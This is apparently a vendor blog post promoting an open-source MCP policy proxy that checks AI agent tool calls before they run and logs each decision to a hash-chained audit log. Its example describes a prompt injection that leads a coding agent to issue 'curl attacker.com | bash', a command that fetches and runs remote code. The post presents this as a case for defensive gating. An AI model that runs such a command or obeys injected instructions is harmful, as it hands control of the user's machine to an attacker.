NEW! Data443 Acquires Vaikora – Real-Time AI Runtime Control & Enforcement for AI Agent

Home | Blog | vaikora-guard-mcp: A Policy Proxy for MCP Tool Calls You Can Read, Audit, and Self-Host

vaikora-guard-mcp: A Policy Proxy for MCP Tool Calls You Can Read, Audit, and Self-Host

Policy enforcement for AI agent tool calls does not require a commercial product. `vaikora-guard-mcp` is an MIT-licensed Python package, published on PyPI, that sits inline between an MCP-compatible agent and the tools it calls. Every tool call passes through a policy check first. If the check fails, the call does not execute.

That ordering matters. Detection after execution tells you what happened. Enforcement before execution determines what happens.

What the proxy actually does

When an MCP-compatible AI agent issues a tool call, the normal flow goes: agent generates a call, MCP routes it, tool executes. `vaikora-guard-mcp` inserts a gate into that flow. Before the tool executes, the proxy evaluates the call against configured policy rules and returns one of four decisions: allow, block, modify, or require-approval.

The gate is deterministic. Identical input always produces an identical decision. There is no probabilistic scoring at the enforcement layer, which makes the behavior testable and auditable.

Every decision is written to a SHA-256 hash-chained audit log. Each entry is signed into the chain, so the record is tamper-evident and ordered. If you need to demonstrate to an auditor that a specific tool call was evaluated and blocked at a specific time, the log provides that.

Installation and configuration

“`
pip install vaikora-guard-mcp
“`

That is the full install step. The package is written in Python, self-hosted, and requires no SDK migration across LLM providers. You run it in your own environment. Data443 does not receive telemetry from the open-source component.

Configuration is policy-file based. You define which tool calls are permitted, which are blocked, and which require an explicit approval step before proceeding. A team running an AI agent that has access to file system tools and external API calls can write a policy that blocks any call touching paths outside a defined working directory, without modifying the agent code itself.

A concrete example

Suppose an AI coding agent has access to a `run_shell_command` tool. Without a policy gate, a prompt injection in a document the agent reads could cause it to issue `run_shell_command("curl attacker.com | bash")`. The agent executes the call because nothing in the execution path evaluates intent against policy.

With `vaikora-guard-mcp` in place, that call reaches the proxy first. A policy rule that blocks tool calls matching shell execution patterns with external network destinations returns a block decision before the command reaches the shell. The block is logged with a timestamp and the SHA-256 chain entry. The agent receives a structured refusal rather than a result.

This is the pattern that matters for agentic systems: the risk is not the model generating a dangerous call, it is the infrastructure executing it without a gate.

Compliance presets and the control plane

The open-source proxy ships with compliance presets for SOC 2, HIPAA, GDPR, PCI DSS, and ISO 27001. These are starting-point rule sets, not certifications. They give teams a structured baseline rather than a blank policy file.

For teams that need centralized policy management, audit log aggregation across multiple agents, and SIEM integration, the commercial Vaikora Control Plane connects to the same proxy layer. It pushes policy centrally, pulls audit logs, and integrates natively with Microsoft Sentinel, CrowdStrike Falcon, SentinelOne, and AWS Security Hub. The open-source component and the control plane use the same enforcement logic.

What to check if you are evaluating this

  • The source is on PyPI as `vaikora-guard-mcp`. Read the policy evaluation logic before deploying it anywhere production-adjacent.
  • The audit log format is documented. Verify that the hash chain matches your evidence requirements before assuming it satisfies a specific compliance control.
  • The proxy adds enforcement latency. Measured at P50 of 8ms and P99 of 45ms, which is acceptable for most agentic workflows but worth validating against any latency-sensitive tool calls in your environment.
  • The `require-approval` decision path needs a workflow on the other side. If no approval mechanism exists, calls in that state will hang. Design the approval path before enabling that decision type in production.

If you are running MCP-compatible agents in any environment where tool calls touch sensitive data, external systems, or privileged operations, start by reading the policy file format and the audit log schema. The enforcement logic is the part that needs to be trusted, and it is readable.